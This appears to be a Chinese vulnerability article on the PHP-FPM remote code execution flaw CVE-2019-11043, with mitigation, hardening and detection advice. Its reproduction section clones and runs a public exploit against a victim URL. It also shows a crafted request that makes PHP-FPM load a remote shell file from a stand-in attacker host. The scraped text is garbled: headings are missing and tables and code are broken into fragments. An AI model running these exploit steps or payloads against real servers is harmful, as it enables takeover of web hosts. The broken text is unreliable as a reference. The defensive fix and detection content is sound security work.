您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# PHP-fpm远程代码执行漏洞的影响及修复方法
## 摘要
本文深入分析PHP-fpm远程代码执行漏洞(CVE-2019-11043等)的技术原理、影响范围及实际危害,结合攻击案例演示漏洞利用过程,并提供多维度修复方案与防护建议。文章包含漏洞复现环境搭建、PoC验证、应急响应流程等实用内容,适用于运维人员和安全研究人员。
---
## 目录
1. [漏洞背景与技术原理](#一漏洞背景与技术原理)
2. [影响范围与危害分析](#二影响范围与危害分析)
3. [漏洞复现与攻击演示](#三漏洞复现与攻击演示)
4. [修复方案与加固措施](#四修复方案与加固措施)
5. [应急响应建议](#五应急响应建议)
6. [防御体系构建](#六防御体系构建)
7. [总结与展望](#七总结与展望)
---
## 一、漏洞背景与技术原理
### 1.1 PHP-fpm架构概述
PHP-FPM(FastCGI Process Manager)是PHP的FastCGI实现,采用master-worker多进程架构:
```mermaid
graph TD
A[客户端] -->|HTTP请求| B[Nginx]
B -->|FastCGI协议| C[PHP-FPM Master]
C --> D[PHP-FPM Worker]
D --> E[PHP解释器]
以CVE-2019-11043为例,关键漏洞点在于:
- 路径解析缺陷:当URL包含换行符(%0a
)时,nginx的fastcgi_split_path_info
正则表达式匹配异常
- 内存越界写入:导致PATH_INFO
值污染SCRIPT_FILENAME
参数
- 代码执行链:最终使PHP-fpm错误加载恶意构造的php文件
PATH_INFO
支持PHP版本范围 | 风险等级 |
---|---|
7.1.x < 7.1.33 | 高危 |
7.2.x < 7.2.24 | 高危 |
7.3.x < 7.3.11 | 中危 |
xmrig
挖矿程序案例# 典型攻击工具使用示例
git clone https://github.com/neex/phuip-fpizdam
go run exploit.go http://victim.com/index.php
攻击复杂度:低(已有公开PoC)
所需权限:无需认证
影响面:可获取Web服务器权限
# docker-compose.yml示例
version: '3'
services:
vulnerable-web:
image: vulhub/php:7.2-fpm-nginx
ports:
- "8080:80"
GET /index.php/PHP_VALUE%0Aallow_url_include=1%0Aauto_prepend_file=http://attacker.com/shell.txt HTTP/1.1
Host: victim.com
%0a
等特殊字符PATH_INFO
长度# Ubuntu系统示例
sudo apt update
sudo apt install php7.4-fpm
# nginx配置加固
location ~ [^/]\.php(/|$) {
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
if ($request_uri ~* "%0a|%0d") { return 403; }
}
PATH_INFO
:; php.ini配置
cgi.fix_pathinfo=0
chown -R www-data:www-data /var/www
chmod 750 /var/www
# 检查异常进程
ps aux | grep -E 'php-fpm|wget|curl'
# 查找webshell
find /var/www -name "*.php" -mtime -1
防护层 | 实施措施 |
---|---|
网络层 | WAF规则更新(如Cloudflare) |
主机层 | SELinux策略加固 |
应用层 | 定期组件扫描(Trivy工具) |
# ELK检测规则示例
filter {
if [message] =~ "%0a|%0d" {
mutate { add_tag => ["php_fpm_attack"] }
}
}
参考文献
1. CVE-2019-11043官方公告
2. PHP安全配置白皮书
3. Nginx最佳实践指南 “`
注:本文为技术文档框架,实际部署时需根据具体环境调整配置参数。建议通过漏洞扫描工具(如OpenVAS)进行修复验证,保持至少每季度一次的安全审计频率。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。